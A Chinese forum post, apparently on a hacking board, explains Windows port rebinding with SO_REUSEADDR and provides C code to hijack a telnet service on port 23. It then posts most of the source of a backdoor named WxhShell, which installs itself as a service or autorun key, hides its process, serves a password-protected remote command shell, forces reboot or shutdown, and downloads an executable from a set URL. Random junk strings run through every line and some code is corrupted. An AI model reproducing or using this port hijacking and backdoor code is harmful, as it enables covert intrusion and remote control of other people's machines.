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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q'Wr[A40j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R&f^+0%f  
a2 +~;{?g  
  saddr.sin_family = AF_INET; jE2}p-2Q0  
_~u2: yl (  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o=J9  
GB7/x*u   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A]0:8@k5  
b</9Ai=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y?J"wdWJNB  
tCG76LH  
  这意味着什么?意味着可以进行如下的攻击: -_ C#wtC  
An*~-u9m  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }Z-Z|G)#  
I pzJ#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %V9ZyQg%*  
q#w8wH"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sZ,Y60s8a  
U6E\AvbRn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8lF\v/vN  
0+Ta%H{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 HB+|WW t>  
@yd4$Mv8%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q\ /uKQ  
05yZad*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P 3MhU;  
<f@"HG l  
  #include goat<\a  
  #include K~=UUB  
  #include ,Ys"W x  
  #include    H{J'# 9H  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i%e7LJ@5AW  
  int main() m,C1J%{^  
  { !q"W{P  
  WORD wVersionRequested; jls-@Wl  
  DWORD ret; dL7E<?l  
  WSADATA wsaData; 1I@8A>2^OX  
  BOOL val; !Z VU,b>  
  SOCKADDR_IN saddr; m]i @ +C  
  SOCKADDR_IN scaddr; sf&]u;^DY  
  int err; ,h"-  
  SOCKET s; 8-<:i  
  SOCKET sc; uqz]J$  
  int caddsize; wtje(z5IL  
  HANDLE mt; @(r /dZc  
  DWORD tid;   pTIf@n6I  
  wVersionRequested = MAKEWORD( 2, 2 ); *m?/O} R  
  err = WSAStartup( wVersionRequested, &wsaData );  V#VN %{  
  if ( err != 0 ) { 45hF`b>%,  
  printf("error!WSAStartup failed!\n"); vfVj=DYj  
  return -1; F:x [  
  } w] N!S;<N  
  saddr.sin_family = AF_INET; Eke5Nb  
   4apL4E"r  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fb^fVSh>  
mI74x3 [  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I? ,>DHUX  
  saddr.sin_port = htons(23); @)J+,tg/7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8WnwQ%;m?  
  { 9 (QJT}qC  
  printf("error!socket failed!\n"); ~"A+G4jl  
  return -1; H;RwO@v  
  } v:H$<~)E|  
  val = TRUE; ]+X@ 7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;!yQ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W6Y]N/v3>  
  { eJg8,7WC  
  printf("error!setsockopt failed!\n"); p5G?N(l  
  return -1; l\i)$=d&g  
  } vN;mP d~g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .9wk@C(Eh_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -B +4+&{T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 eio 4k-  
M3.do^ss  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @;"|@!l|  
  { WlU0:(d  
  ret=GetLastError(); (!:,+*YY  
  printf("error!bind failed!\n"); =i[\-  
  return -1; q@{Bt{$x  
  } lnjXD oVb<  
  listen(s,2); 5 sX+~Q  
  while(1) vam;4vyu  
  { 5aCgjA11  
  caddsize = sizeof(scaddr); ?` ?)QE8  
  //接受连接请求  094o'k  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *WuID2cOI  
  if(sc!=INVALID_SOCKET) zolt$p  
  { Z.Lc>7o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7<*yS310  
  if(mt==NULL) :=Nz }mUV  
  { ,y#Kv|R  
  printf("Thread Creat Failed!\n"); o2F)%TDY  
  break; NCDvo bYJ  
  } |!4K!_y  
  } [TmIVQ!B  
  CloseHandle(mt); c24dSNJg,  
  } U>Slc08N  
  closesocket(s); Qnsi`1mASr  
  WSACleanup(); iUN Ib  
  return 0; Vh4X%b$TV  
  }   BI%$c~wS  
  DWORD WINAPI ClientThread(LPVOID lpParam) H:V2[y8\  
  { .:F%_dS D  
  SOCKET ss = (SOCKET)lpParam; 8]9%*2"!  
  SOCKET sc; ;>Ib^ov  
  unsigned char buf[4096]; @J/K-.r  
  SOCKADDR_IN saddr; XwJ7|cB  
  long num; "]} bFO7C  
  DWORD val; dl.p\t(1  
  DWORD ret; 3ca (i/c  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %WjXg:R  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1n;0?MIZ  
  saddr.sin_family = AF_INET; MDnua  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  R[D{|K@"  
  saddr.sin_port = htons(23); do>wwgr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GBPo8L"9  
  { rD 3v$B  
  printf("error!socket failed!\n"); ;@oN s-  
  return -1; YIG~MP  
  } Li4zTR|U  
  val = 100; K  &N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {'NvG  
  { cQ R]le %(  
  ret = GetLastError(); k5'Vy8q  
  return -1; s;ls qQk  
  } o6.^*%kM'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :74y!  
  { 3[Qxd{8r  
  ret = GetLastError(); T4Pgbop  
  return -1; {8W'%\!=  
  } m;GCc8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )"7iJb<E  
  { ?^al9D[:lz  
  printf("error!socket connect failed!\n"); Pd_U7&w,5  
  closesocket(sc); !Dn,^  
  closesocket(ss); 4O^xY 6m  
  return -1; 8;JWK3Gv  
  } '-Vt|O_Q  
  while(1) . 1Dg s=|  
  { )vE~'W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t.i 8 2Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 EM(gmWHij  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tEvut=k'  
  num = recv(ss,buf,4096,0); u04kF^  
  if(num>0) 'c9]&B  
  send(sc,buf,num,0); 2K/4Rf0;  
  else if(num==0) nAsh:6${  
  break; <L8'!q}  
  num = recv(sc,buf,4096,0); oqO(PU  
  if(num>0) K0|FY=#2y  
  send(ss,buf,num,0); aC8} d  
  else if(num==0) C)ERUH2i  
  break; (c=6yV@  
  } \ C+~m  
  closesocket(ss); 1#< '&Lr  
  closesocket(sc); 7x|9n  
  return 0 ; *av<E  
  } hj*pTuym  
%K=?@M9i  
<lPm1/8  
========================================================== *v!9MU9[(  
BYL)nCc  
下边附上一个代码,,WXhSHELL he;dq)-e9  
+V ;l6D  
========================================================== 61C7.EZZ;  
Bu~]ey1  
#include "stdafx.h" P~>O S5^  
H)kwQRfu  
#include <stdio.h> =(j1rW!  
#include <string.h> |6sp/38#p  
#include <windows.h> _)3|f<E_t)  
#include <winsock2.h> 823Y\x~>  
#include <winsvc.h> *K8$eDNZ  
#include <urlmon.h> U)] oO  
@zW]2 c  
#pragma comment (lib, "Ws2_32.lib") %S960  
#pragma comment (lib, "urlmon.lib") t&C1Oo}=3  
_7Ju  
#define MAX_USER   100 // 最大客户端连接数 ] vHF~|/-  
#define BUF_SOCK   200 // sock buffer > PRFWO  
#define KEY_BUFF   255 // 输入 buffer JE "x  
q$d>(vb q  
#define REBOOT     0   // 重启 AUG#_HE]k  
#define SHUTDOWN   1   // 关机 EIP /V  
@e.C"@G  
#define DEF_PORT   5000 // 监听端口 X:"i4i[}{9  
_Eo[7V{NY  
#define REG_LEN     16   // 注册表键长度  ?Jm^<  
#define SVC_LEN     80   // NT服务名长度 = SMXDaH  
cKca;SNql1  
// 从dll定义API G:<aB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #4 <SAgq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *SJ_z(CZm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,aZ[R27rpL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >C>.\  
gV's=cQ  
// wxhshell配置信息 s%7t"-=&  
struct WSCFG { o q Xg  
  int ws_port;         // 监听端口 5uGq%(24  
  char ws_passstr[REG_LEN]; // 口令 nfbR P t  
  int ws_autoins;       // 安装标记, 1=yes 0=no GY'%+\*tj  
  char ws_regname[REG_LEN]; // 注册表键名 O3,jg |,  
  char ws_svcname[REG_LEN]; // 服务名 yLvDMPj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #CTE-W"|HE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D0-3eV -  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &-)N'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0*3R=7_},o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <44G]eb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hD 82tr  
oWT3apGO  
}; n:?a$Ldgm  
Z"xvh81P  
// default Wxhshell configuration r(TIw%L$  
struct WSCFG wscfg={DEF_PORT, Q~ w|#  
    "xuhuanlingzhe", Rsm^Z!sn  
    1, tCH!my_  
    "Wxhshell", rpha!h>w1%  
    "Wxhshell", q"lSZ; 'E  
            "WxhShell Service", -=Q*Ml#I  
    "Wrsky Windows CmdShell Service", +5*95-;0  
    "Please Input Your Password: ", 9s q  
  1, V~3a!-m\  
  "http://www.wrsky.com/wxhshell.exe", s2V:cMXFn  
  "Wxhshell.exe" L,/%f<wd  
    }; D;*SnU(9L  
iOghb*aW  
// 消息定义模块 Rr]H y^w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d7;um<%zn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Se}c[|8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zY{A'<\O  
char *msg_ws_ext="\n\rExit."; jvL[ JI,b  
char *msg_ws_end="\n\rQuit."; IM'r8 V  
char *msg_ws_boot="\n\rReboot...";  =j]<t  
char *msg_ws_poff="\n\rShutdown..."; \!ZTL1b8t  
char *msg_ws_down="\n\rSave to "; JX;G<lev  
QA`sx  
char *msg_ws_err="\n\rErr!"; aeJHMHFc  
char *msg_ws_ok="\n\rOK!"; YK'<NE3 4  
77f9(~ZnT  
char ExeFile[MAX_PATH]; N =}A Z{$  
int nUser = 0; 83_h J  
HANDLE handles[MAX_USER]; 013x8!i  
int OsIsNt; [}=B8#Jl-C  
f}P3O3Yv&  
SERVICE_STATUS       serviceStatus; !*N@ZL&X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F^;ez/Gl  
gR;i(81U  
// 函数声明 X.{S*E:$u  
int Install(void); \~$#1D1f  
int Uninstall(void); N~)_DjQP5  
int DownloadFile(char *sURL, SOCKET wsh); FTUv IbT  
int Boot(int flag); |/{=ww8|  
void HideProc(void); VlsnL8DV  
int GetOsVer(void); f.$af4 u  
int Wxhshell(SOCKET wsl); ##>H&,Dp[  
void TalkWithClient(void *cs); qo bc<-  
int CmdShell(SOCKET sock); Ve; n}mJ?  
int StartFromService(void); kdeWip6Y  
int StartWxhshell(LPSTR lpCmdLine); @qAS*3j  
*^ZV8c}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m-#2n? z-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V U3upy<  
$<EM+oJ|ER  
// 数据结构和表定义 p_%Rt"!  
SERVICE_TABLE_ENTRY DispatchTable[] = e*NnVys  
{ /nA{#HY  
{wscfg.ws_svcname, NTServiceMain}, YNF k  
{NULL, NULL} <PH #[dH  
}; htF] W|z  
T(Eugl"  
// 自我安装 NZ0;5xGR  
int Install(void) 0aB;p7~&  
{ mCVFS=8V  
  char svExeFile[MAX_PATH]; W^l-Y %a/o  
  HKEY key; 2E'UZ m  
  strcpy(svExeFile,ExeFile); !%c\N8<>GD  
)jP1or  
// 如果是win9x系统,修改注册表设为自启动 fuySN!s  
if(!OsIsNt) { 2c*GuF9(0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x s|FE3:a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `X&gE,Ii  
  RegCloseKey(key); /a4{?? #e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4|DWOQ':  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (O3nL.  
  RegCloseKey(key); 2P0*NQ   
  return 0; F={a;Dvrn  
    } UP,c|  
  } /PIcqg  
} }o`76rDN  
else { (f"4,b^]  
[{,1=AB  
// 如果是NT以上系统,安装为系统服务 `[ir}+S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CLRdm ^B  
if (schSCManager!=0) SwMc pNo  
{  2JBR)P  
  SC_HANDLE schService = CreateService uVrd i?3  
  (  }.6[qk  
  schSCManager, ( a#BV}=  
  wscfg.ws_svcname, v.qrz"98-  
  wscfg.ws_svcdisp, &tj!*k'  
  SERVICE_ALL_ACCESS, P&LsVR{#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^ [@ ,  
  SERVICE_AUTO_START, /%^#8<=|U  
  SERVICE_ERROR_NORMAL, Y76gJ[y jn  
  svExeFile, /j.9$H'y  
  NULL, N(yz k_~  
  NULL, +6+i!Sip  
  NULL, eJ-nKkg~a  
  NULL, C,4e"yynb  
  NULL fz "Y CHe  
  ); SvF<p3  
  if (schService!=0) .Z *'d  
  { N;`n@9BF  
  CloseServiceHandle(schService); 8Zd]wYO  
  CloseServiceHandle(schSCManager); =T7.~W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Qo|\-y-#  
  strcat(svExeFile,wscfg.ws_svcname); .7X^YKR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sFRQe]zCcP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u>vL/nI  
  RegCloseKey(key); X^jfuA  
  return 0; l.M0`Cn-%  
    } U 6)#}   
  } h/Y'<:  
  CloseServiceHandle(schSCManager); Lr pM\}t  
} scV5PUq  
} 1?l1:}^L  
U]rRQ d/:;  
return 1; do'GlU oMC  
} )vlhN2iv  
rYk0 ak  
// 自我卸载 wUJcmM;  
int Uninstall(void) r5^eNg k  
{ k+*u/neh  
  HKEY key; x]j W<A  
%8v\FS  
if(!OsIsNt) { 1< ?4\?j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3Jn ;}  
  RegDeleteValue(key,wscfg.ws_regname); ]6j{@z?{  
  RegCloseKey(key); C;yZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #GFr`o0$^  
  RegDeleteValue(key,wscfg.ws_regname); @2i9n  
  RegCloseKey(key); <:CkgR$/{  
  return 0; ) )Za&S*<  
  } 'V>-QD%1  
} M"L=L5OH-  
} RxQ*  
else { /yZcDK4  
Dw"\/p:-3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;n;p@Uu[ b  
if (schSCManager!=0) Q/Rqa5LI:  
{ h{qgEIk&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8eRLy/`gd  
  if (schService!=0) yB!dp;gM{  
  { |I=T @1_D  
  if(DeleteService(schService)!=0) { -yg7;ff  
  CloseServiceHandle(schService); `WS&rmq&'  
  CloseServiceHandle(schSCManager); "<gOzXpa  
  return 0; DHRlWQox  
  } -Lg Ei3m  
  CloseServiceHandle(schService); f6p/5]=J26  
  } dc'Y `e  
  CloseServiceHandle(schSCManager); izR"+v  
} ~}Pfu  
} P$,Ke<  
[#iz/q~}  
return 1; NHE18_v5  
} !VzC&>'v^9  
 ~$J2g  
// 从指定url下载文件 o+VQ\1as?(  
int DownloadFile(char *sURL, SOCKET wsh) Iga0 24KR  
{ \b>] 8Un"  
  HRESULT hr; U $UIN#  
char seps[]= "/"; ?q [T  
char *token; 5:?! =<=  
char *file; J .%IfN  
char myURL[MAX_PATH]; \{D" !e  
char myFILE[MAX_PATH]; bI`g|v  
2Khv>#l  
strcpy(myURL,sURL); =EsavN  
  token=strtok(myURL,seps); (;,sc$H]  
  while(token!=NULL) s#GLJl\E_P  
  { !'I8:v&D  
    file=token; d_P` qA  
  token=strtok(NULL,seps); #0<XNLM  
  } Pzem{y7Ir  
1 -b_~DF  
GetCurrentDirectory(MAX_PATH,myFILE); $pz/?>!  
strcat(myFILE, "\\"); +cRn%ioVi  
strcat(myFILE, file); GtHivC  
  send(wsh,myFILE,strlen(myFILE),0); SS2%q v  
send(wsh,"...",3,0); 3(UVg!t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %}T6]S)%u  
  if(hr==S_OK) H;"4 C8K7  
return 0; !`r$"}g  
else ajpX L  
return 1; 8?C5L8)  
(-co.  
} #LNED)Vg  
_VXN#@y  
// 系统电源模块 *K; ~!P  
int Boot(int flag) `0R./|bv\I  
{ o !7va"  
  HANDLE hToken; <oeIcN7d  
  TOKEN_PRIVILEGES tkp; 6w77YTJ  
"Rl}VeDY  
  if(OsIsNt) { Q59W#e)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K,UMqAmk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F:ELPs4"  
    tkp.PrivilegeCount = 1; .G\7cZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :E?V.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #A.@i+Zv  
if(flag==REBOOT) { 54qFfN8O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fc@A0Hf  
  return 0; 13 wE"-  
} 048kPXm`  
else { DV{=n C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Hx:;@_g q  
  return 0; hv+zGID7  
} ;wD)hNLAvR  
  } %XTI-B/K  
  else { 2T`!v  
if(flag==REBOOT) { yLcE X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xm&L B X  
  return 0; g,Y/M3>(  
} Ap !lQ>p  
else { o"SMbj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GKCroyor  
  return 0; 2"~8Z(0  
} :Q q#Z  
} }1xo-mUg,  
?fS9J  
return 1; A)~6Im  
} B-ESFATc  
"w _aM7x_  
// win9x进程隐藏模块 i?;Kq~,  
void HideProc(void) 'f|o{  
{ L rPkxmR  
y?!"6t7&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T 1t6p&  
  if ( hKernel != NULL ) J^/p(  
  { CQ2jP G*py  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^}C\zW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jqkqZF  
    FreeLibrary(hKernel); 8EEuv-aeo  
  } F5#YOck&,  
"h ^Z  
return; aN=B]{!  
} Er[A X.3  
J-4:H gx  
// 获取操作系统版本 IM+ o.@f-  
int GetOsVer(void) bN88ua}k{  
{ iR0y"Cii  
  OSVERSIONINFO winfo; J. @9zA&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9C i-v/M]  
  GetVersionEx(&winfo); cGD(.=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BPHW}F]X  
  return 1; yppo6HGD  
  else $7uA%|\  
  return 0; HorDNRyu  
} p<;0g9,1  
#D|p2L$  
// 客户端句柄模块 |)G<,FJQE_  
int Wxhshell(SOCKET wsl) Xry4 7a )  
{ R FH0  
  SOCKET wsh; l@:0e]8|o  
  struct sockaddr_in client; $mB;K]m  
  DWORD myID; PxE3K-S)G  
Lh<).<S  
  while(nUser<MAX_USER) v.ui!|c  
{ bu"!jHPB  
  int nSize=sizeof(client); a'z7(8$$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~v"L!=~G;a  
  if(wsh==INVALID_SOCKET) return 1; 1i ] ^{;]  
FCn_^l)EA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Tb-F]lg$  
if(handles[nUser]==0) -`t^7pr  
  closesocket(wsh); snikn&  
else i 3SHg\~Z  
  nUser++; 2:=  
  } ,v&(YOd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4Z,!zFS$`  
_-Fs# f8  
  return 0;  f V(J|  
} x3krbUlx  
v9->nVc-  
// 关闭 socket  rXU\  
void CloseIt(SOCKET wsh) DFTyMB1H  
{ \^%}M!tan  
closesocket(wsh); YrKWA  
nUser--; +2j AC r  
ExitThread(0); BF<ikilR  
} NgCvVWto  
1!gbTeVlY  
// 客户端请求句柄 S Z$Kz n  
void TalkWithClient(void *cs) *WT`o>  
{ >dG[G>  
C>w|a  
  SOCKET wsh=(SOCKET)cs; = 9]~ yt  
  char pwd[SVC_LEN]; )>- =R5ZV  
  char cmd[KEY_BUFF]; vZoaT|3 G]  
char chr[1]; (!N|Kl  
int i,j; JO< wU  
"w.3Q96r  
  while (nUser < MAX_USER) { WeiFmar  
3%ZOKb"D*  
if(wscfg.ws_passstr) { m%e68c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t<viX's  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }Z,x~G  
  //ZeroMemory(pwd,KEY_BUFF); XvlU*TO~(~  
      i=0; 8ITdSg  
  while(i<SVC_LEN) { '6Q =#:mc\  
C73 kJa  
  // 设置超时 ?1eK#Z.  
  fd_set FdRead; Ue~CwFOc  
  struct timeval TimeOut; >oe]$r  
  FD_ZERO(&FdRead); J9[r|`gJ(  
  FD_SET(wsh,&FdRead); :[!j?)%>  
  TimeOut.tv_sec=8; abLnI =W`  
  TimeOut.tv_usec=0; C 6AUNRpl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e@OX_t_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w*JGUk  
%1$,Vs<RH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tC9n k5~  
  pwd=chr[0]; H DFOA  
  if(chr[0]==0xd || chr[0]==0xa) { N' `A?&2ru  
  pwd=0; 3jC_AO%T  
  break; A$:U'ZG_  
  } j ?(&#  
  i++; ^M>P:~  
    } 5N&?KA-  
 !=P1%  
  // 如果是非法用户,关闭 socket s}% M4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Eg3q!J&Z  
} C-[eaHJ'$  
'ub@]ru|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .xWC{}7[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OH(waKq2I  
;VO:ph4Aj  
while(1) { <<R*2b  
kq,ucU%>p  
  ZeroMemory(cmd,KEY_BUFF); KNIn:K^/  
5,6"&vU,  
      // 自动支持客户端 telnet标准   4Ic*9t3  
  j=0; ~1vDV>dpE  
  while(j<KEY_BUFF) { [^98fAlz6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Da`   
  cmd[j]=chr[0]; }2<7%FL  
  if(chr[0]==0xa || chr[0]==0xd) { SJ>vwmA4  
  cmd[j]=0; ^qD$z=z-  
  break; wT8DSq  
  } 'u |c  
  j++; `, Tz Q  
    } VZmLS 4E  
@'!SN\?W8  
  // 下载文件 <T|3`#o0  
  if(strstr(cmd,"http://")) { [}0haTYc4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q|?L*Pq2I  
  if(DownloadFile(cmd,wsh)) \Et3|Iv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (S\[Y9  
  else U0N 60  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SmSH2m-  
  } U/l&tmIVY  
  else { 'Xq| Kf (  
o]M5b;1  
    switch(cmd[0]) {  DwE[D]7o  
  T !WT;A  
  // 帮助 AogVF  
  case '?': { PKg@[<g43  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EVC]sUT  
    break; wHMX=N1/  
  } \$T(t/$9  
  // 安装 T&u5ki4NE  
  case 'i': { z !rL s76  
    if(Install()) *kDCliL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IE/^\ M  
    else ieCEo|b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qL3;}R  
    break; G.a bql  
    } CxOob1@  
  // 卸载 dufu|BL|}  
  case 'r': { Ata:^qI  
    if(Uninstall()) dV$gB<iS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y;^l%ePuW  
    else 62o:,IcoG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Una+Z  
    break; 3E $f)  
    } Q%tXQP.r  
  // 显示 wxhshell 所在路径 W^LY'ypT  
  case 'p': { ex (.=X 1  
    char svExeFile[MAX_PATH]; ""F5z,'  
    strcpy(svExeFile,"\n\r"); f=gW]x7'R+  
      strcat(svExeFile,ExeFile); V/ uP%'cd  
        send(wsh,svExeFile,strlen(svExeFile),0); '3D XPR^B6  
    break; F {4bo$~>  
    } PB`Y g  
  // 重启 x vl#w  
  case 'b': { 3z9d!I^>k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &n}f?  
    if(Boot(REBOOT)) qCpp6~]Um  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }1i`6`y1  
    else { gANuBWh8T  
    closesocket(wsh); Rmt~,cW!\  
    ExitThread(0); e95Lo+:f  
    } O-GJ-  
    break; {xB!EQ"  
    } s.N/2F& *W  
  // 关机 (U_ujPD ?  
  case 'd': { oiT[de\S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j2.|ln"!  
    if(Boot(SHUTDOWN)) {Y=WW7:Qx  
